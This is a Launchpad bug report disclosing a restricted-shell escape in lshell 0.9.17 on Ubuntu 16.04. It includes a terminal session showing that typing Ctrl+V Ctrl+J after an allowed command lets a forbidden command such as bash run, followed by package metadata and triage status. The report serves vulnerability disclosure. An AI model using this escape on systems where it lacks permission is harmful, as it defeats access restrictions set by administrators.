Escape possible using special keys
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
lshell (Debian) |
Fix Released
|
Unknown
|
|||
lshell (Ubuntu) |
Incomplete
|
Undecided
|
Unassigned |
Bug Description
Just type <CTRL+V><CTRL+J> after any allowed command and then type desired restricted command:
vladislav@dt1:~$ getent passwd testuser
testuser:
vladislav@dt1:~$ su - testuser
Password:
You are in a limited shell.
Type '?' or 'help' to get the list of allowed commands
testuser:~$ ?
cd clear echo exit help history ll lpath ls lsudo
testuser:~$ bash
*** forbidden command: bash
testuser:~$ echo<CTRL+
bash
testuser@dt1:~$ which bash
/bin/bash
testuser@dt1:~$ ps
PID TTY TIME CMD
29852 pts/14 00:00:00 lshell
29853 pts/14 00:00:00 sh
29854 pts/14 00:00:00 bash
29864 pts/14 00:00:00 ps
Expected: commands in lshell are restricted
What happened: user can escape from lshell and execute arbitrary command
System information:
vladislav@dt1:~$ lsb_release -rd
Description: Ubuntu 16.04.1 LTS
Release: 16.04
vladislav@dt1:~$ apt-cache policy lshell
lshell:
Установлен: 0.9.17-1
Кандидат: 0.9.17-1
Таблица версий:
*** 0.9.17-1 500
500 http://
500 http://
100 /var/lib/
Bug in upstream issue tracker: https:/
ProblemType: Bug
DistroRelease: Ubuntu 16.04
Package: lshell 0.9.17-1
ProcVersionSign
Uname: Linux 4.4.0-38-generic x86_64
NonfreeKernelMo
ApportVersion: 2.20.1-0ubuntu2.1
Architecture: amd64
CurrentDesktop: XFCE
Date: Mon Sep 26 10:47:40 2016
InstallationDate: Installed on 2016-05-20 (128 days ago)
InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1)
PackageArchitec
SourcePackage: lshell
UpgradeStatus: No upgrade log present (probably fresh install)
Changed in lshell (Debian): | |
status: | Incomplete → Confirmed |
Changed in lshell (Debian): | |
status: | Confirmed → Fix Released |
Thanks for taking the time to report this bug and helping to make Ubuntu better. Since the package referred to in this bug is in universe or multiverse, it is community maintained. If you are able, I suggest coordinating with upstream and posting a debdiff for this issue. When a debdiff is available, members of the security team will review it and publish the package. See the following link for more information: https:/ /wiki.ubuntu. com/SecurityTea m/UpdateProcedu res